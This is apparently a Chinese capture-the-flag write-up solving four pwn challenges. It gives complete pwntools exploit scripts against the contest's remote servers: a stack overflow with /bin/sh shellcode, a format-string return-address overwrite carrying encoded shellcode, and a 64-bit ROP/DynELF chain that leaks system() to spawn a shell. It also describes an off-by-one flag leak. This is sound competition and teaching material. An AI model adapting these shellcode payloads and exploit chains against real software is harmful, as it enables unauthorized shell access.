i春秋30强挑战赛pwn解题过程
80pts:
栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell
from pwn import * #p=process('./tc1') p=remote('106.75.9.11',20000) nop='\x90'*19 buf='\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80' payload=p32(0x804a0a0+4)+nop+buf p.recvuntil('4. Divide\n') #gdb.attach(p) p.sendline('29') p.recvuntil('[123 110]\n') p.sendline(payload) p.interactive()
100pts:
反编译看出漏洞为格式化字符串,nx:disabled,思路就是在栈上布置shellcode,但是限定输入长度16bytes,所以得先修改read size。分三步利用:第一次泄漏栈地址,第二次修改参数(大于511即可),第三次修改ret地址,注意栈地址偏大,一次写入不行,思考很久,分两次写入,第一次通过%$hn先写两字节,第二次通样在+2偏移处写两字节就能成功写栈上shellcode地址到printf的ret处,改变执行流程getshell。(这题才100points,不应该啊:( )
int __cdecl main(int argc, const char **argv, const char **envp) { signed int v3; // eax@2 signed int v6; // [sp+10h] [bp-210h]@1 int v7; // [sp+1Ch] [bp-204h]@4 int v8; // [sp+21Ch] [bp-4h]@1 v8 = *MK_FP(__GS__, 20); v6 = 16; setvbuf(stdout, 0, 2, 0); ssignal(14, tooslow); alarm(20); while ( 1 ) { v3 = 511; if ( v6 <= 511 ) v3 = v6; v6 = v3; printf("Reading %d bytes\n", v3); read_until(&v7, v6, 10); printf((const char *)&v7);//格式化漏洞 putchar(10); alarm(20); } }
.text:0804F5A0 sub esp, 1Ch ; Alternative name is '_IO_printf' .text:0804F5A3 lea eax, [esp+1Ch+arg_4] .text:0804F5A7 mov [esp+1Ch+var_14], eax .text:0804F5AB mov eax, [esp+1Ch+arg_0] .text:0804F5AF mov [esp+1Ch+var_18], eax .text:0804F5B3 mov eax, stdout .text:0804F5B8 mov [esp+1Ch+var_1C], eax .text:0804F5BB call vfprintf .text:0804F5C0 add esp, 1Ch .text:0804F5C3 retn ;需要控制printf函数的ret .text:0804F5C3 printf endp
#!/usr/bin/env python from pwn import * import binascii #p = process('./echo-200') p = remote("106.75.9.11", '20001') #........leak stack........ payload1='%x%x%x%x%x' print p.recvuntil('bytes\n') p.sendline(payload1) print p.recvuntil('10a010') adr=p.recvuntil('\n').split('\n')[0] #........caculate address........ v=int(adr,16) print hex(v) addr=p32(v-0xc) ebp=int(adr,16)+0x20c k=v-0x20 q=v+0x20 c1=(q>>16) & 0xffff c2=q & 0xffff #........change the buf size........ p.recvuntil('bytes\n') payload2=addr+'%510x'+'%7$hn' p.sendline(payload2) #........change ret address to excute shellcode........ buf = "" buf += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x89\xe0\xdd\xc7\xd9\x70\xf4\x5b\x53\x59\x49\x49\x49" buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43" buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41" buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42" buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x70\x6a\x74\x4b\x62" buf += "\x78\x5a\x39\x72\x72\x62\x46\x35\x38\x46\x4d\x42\x43" buf += "\x4b\x39\x69\x77\x43\x58\x56\x4f\x54\x33\x45\x38\x37" buf += "\x70\x63\x58\x54\x6f\x45\x32\x62\x49\x30\x6e\x4c\x49" buf += "\x6b\x53\x71\x42\x5a\x48\x73\x38\x75\x50\x47\x70\x43" buf += "\x30\x74\x6f\x65\x32\x50\x69\x50\x6e\x66\x4f\x54\x33" buf += "\x32\x48\x43\x30\x42\x77\x56\x33\x6c\x49\x38\x61\x78" buf += "\x4d\x6f\x70\x41\x41" #gdb.attach(p) payload3=p32(k)+p32(k+2)+'%%%dx'%(c2-4)+'%7$hn'+'%%%dx'%(c1-c2-4)+'%8$hn'+buf p.recvuntil('bytes\n') print "payload3:"+payload3 p.sendline(payload3) p.interactive()
200pts:
64位程序的rop、dynelf的利用,和32位有区别,注意寄存器(rdi,rsi,rdx)传参,leak的大小需要精准才能成功getshell(原理参考:http://www.purpleroc.com/md/2016-02-25@Thinking-About-Level2.html),泄漏system地址,传参getshell:
from pwn import * e = ELF('./qwb3') p=process('./qwb3') #p=remote('106.75.8.230',19286) poprdi = 0x400633 poprsi = 0x400631 # pop rsi; pop r15; ret = 0x400631 plt_write = e.symbols['write'] plt_read = e.symbols['read'] main = 0x40059d junk = 'A' * 8 data = 0x601048 def leak_write(addr): global p p.recvuntil('pwn \n') payload = 'A' * 72 + p64(poprdi) + p64(1) + p64(poprsi) + p64(addr) + junk +p64(plt_write) + p64(main) p.send(payload.ljust(0x190, 'A')) ret = p.recv(40) return ret d = DynELF(leak_write,elf=ELF('./qwb3')) system = d.lookup('system','libc') print system print p.recvuntil('pwn \n') payload2 = 'A' * 72 + p64(poprdi) + p64(0) + p64(poprsi) + p64(data) + junk + p64(plt_read) + p64(poprdi) + p64(data) + p64(system) print "\n###sending payload2 ...###" p.send(payload2) #sleep(1) #gdb.attach(p) p.send('/bin/sh\0') p.interactive()
300pts:
一开始无从下手,仔细想想,既然题目是leak,所以利用方式还是围绕输入来吧,限定了输入大小40,各种试溢出,试格式化字符串,最后输入name为'a'*40,flag为任一字符时可泄漏第一字节,第二次name不变,flag为第一次泄漏的字符加任一字符,泄漏第二个字符,以此类推得到flag,可以看出是off-by-one。
FLAG{wh4t3v3r_1s_0k}